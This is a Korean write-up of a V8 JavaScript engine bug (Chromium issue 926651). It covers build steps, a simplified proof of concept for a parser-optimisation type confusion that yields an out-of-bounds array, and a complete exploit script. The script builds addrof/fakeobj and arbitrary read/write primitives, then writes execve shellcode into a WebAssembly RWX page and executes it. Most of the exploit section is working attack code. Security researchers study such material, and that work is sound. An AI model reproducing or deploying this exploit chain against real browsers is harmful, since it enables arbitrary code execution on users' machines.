목차
- 빌드
- POC
- Exploit
- 레퍼런스
빌드
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
fetch v8
cd v8
git checkout b267f94ffca9fb90d04ffa03c910d8508c20dd26
gclient sync
build/install-build-deps.sh
tools/dev/gm.py x64.release
POC
-
POC 코드
-
https://bugs.chromium.org/p/chromium/issues/detail?id=926651
-
총 2가지의 POC가 존재한다.
-
근데 이 POC들은 조금 복잡하게 표현되어 있어서 단순화 시키면 다음과 같다.
call = function (code) { try { code(); } catch (e) { console.log(e); } } function run() { const f = (v1 = (function() { var v2 = 0; var v3 = 0; if (asdf) { return; } else { return; } (function() { print("not trigger") }); (function() { v3 = 'A'.repeat(5000); v2 = [1, 2, 3, 4, 5, 6] }); })()) => 1; f(); } let oob = {}; %DebugPrint(oob); // Object map %DebugPrint(run); // JSFunction call(() => (run())); call(() => (run())); %DebugPrint(oob); // JSArray[6] (v2) %DebugPrint(run); // Array map run[13] = 0x41414141 // oob!! print(oob.length)
-
-
call 함수로 run 함수를 2번 트리거하면 oob 객체는 v2라는 JSArray로, run 함수의 Map이 Array로 바뀌어 있다.
-
이 버그는 js 코드를 파싱하고 AST를 만드는 과정에서 최적화를 하려다 꼬인 경우이다.
-
run 함수 내엔 두 가지의 익명 함수가 정의되어 있다.
- 이 중 첫 번째 익명 함수는 트리거되지 않는다.
- 두 번째 익명 함수는 run 함수가 2번째 call될 때 호출된다.
v3 = 'A'.repeat(5000);
가 실행되면 run 함수의 map이 Array map으로 변경되며 type confusion이 발생한다.v2 = [1, 2, 3, 4, 5, 6]
가 실행되면 oob 객체가 지금 선언한 v2로 바뀐다.
-
run 함수의 map이 Array map으로 바뀌게 되었고 13번째 인덱스 부분을 수정하면 v2로 변한 oob의 length를 바꿀 수 있게되어서 oob가 생긴다.
-
oob가 트리거 되는 확률은 높지않다.
- 힙쪽 oob인데, 여러 쓰레드에서 하나의 힙을 사용하다보니 힙 구성이 그때그때 달라지기 때문이다.
Exploit
-
현 POC에선 oob가 발생하는 배열이 float가 아니어서 oob read가 되지 않는다. 그래서 v2를 float 배열로 바꿔준 후 디버깅을 통해 length offset을 다시 찾아서 0x41414141로 변경해주어야 한다.
-
그리고 obj_arr과 float_arr을 생성해서
addrof
와fakeobj
를 만들어야하는데, 이 배열을 v2 바로 뒤에 생성하는게 oob 배열에서 접근하는 것이 더 편했다. -
이제 oob 배열을 통해
obj_arr_map
과float_arr_map
을 leak하고 type confusion을 일으켜서 addrof와 fakeobj를 구현하고 aar과 aaw를 만들어서 익스 하면 끝이다. -
rwx의 offset은 버전마다 달라져서 디버깅을 해보니 현 버전에선
wasm_i_addr+0xf0n
이었다. (vmmap으로 rwx 영역 확인 후 search -t qword rwx영역 으로 검색) -
익스코드
call = function (code) { try { code(); } catch (e) { console.log(e); } } function run() { const f = (v1 = (function() { var v2 = 0; var v3 = 0; if (asdf) { return; } else { return; } (function() { print("not trigger") }); (function() { v3 = 'A'.repeat(5000); v2 = [1.1, 1.2, 1.3, 1.4]; obj_arr = [{}].slice(); float_arr = [1.1, 1.2, 1.3, 1.4]; }); })()) => 1; f(); } let oob = {}; call(() => (run())); call(() => (run())); run[19] = 0x41414141; print('oob.length: ' + hex(oob.length)); var buf = new ArrayBuffer(8); var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); } function itof(val) { u64_buf[0] = Number(val & 0xffffffffn); u64_buf[1] = Number(val >> 32n); return f64_buf[0]; } function hex(b) { return ('0x' + b.toString(16)); } if (oob.length == 0x41414141) { obj_arr_map = oob[28]; float_arr_map = oob[38]; print("float_arr_map: " + hex(ftoi(float_arr_map))); print("obj_arr_map: " + hex(ftoi(obj_arr_map))); var arb_rw_arr = [float_arr_map, 0, 1.3, 8]; function addrof(obj) { obj_arr[0] = obj; oob[28] = float_arr_map; let addr = obj_arr[0]; oob[28] = obj_arr_map; return ftoi(addr); } function fakeobj(addr) { float_arr[0] = itof(addr); oob[38] = obj_arr_map; let fake = float_arr[0]; oob[38] = float_arr_map; return fake; } function aar(addr) { let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); return ftoi(fake[0]); } function aaw_init(addr, val) { fake = fakeobj(addrof(arb_rw_arr) - 0x20n); arb_rw_arr[2] = itof(BigInt(addr) - 0x10n); fake[0] = itof(BigInt(val)); } var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var f = wasm_instance.exports.main; var wasm_i_addr = addrof(wasm_instance); var rwx = aar((wasm_i_addr)+0xf0n); print('rwx: ' + hex(rwx)); var shellcode = [0xbb48f631, 0x6e69622f, 0x68732f2f, 0x5f545356, 0x31583b6a, 0x050fd2]; var shellcode_buf = new ArrayBuffer(0x100); var dataview = new DataView(shellcode_buf); aaw_init(addrof(shellcode_buf)+0x20n, rwx); for (var i=0; i<shellcode.length; i++) { dataview.setUint32(4*i, shellcode[i], true); } f(); }
레퍼런스
- https://bugs.chromium.org/p/chromium/issues/detail?id=926651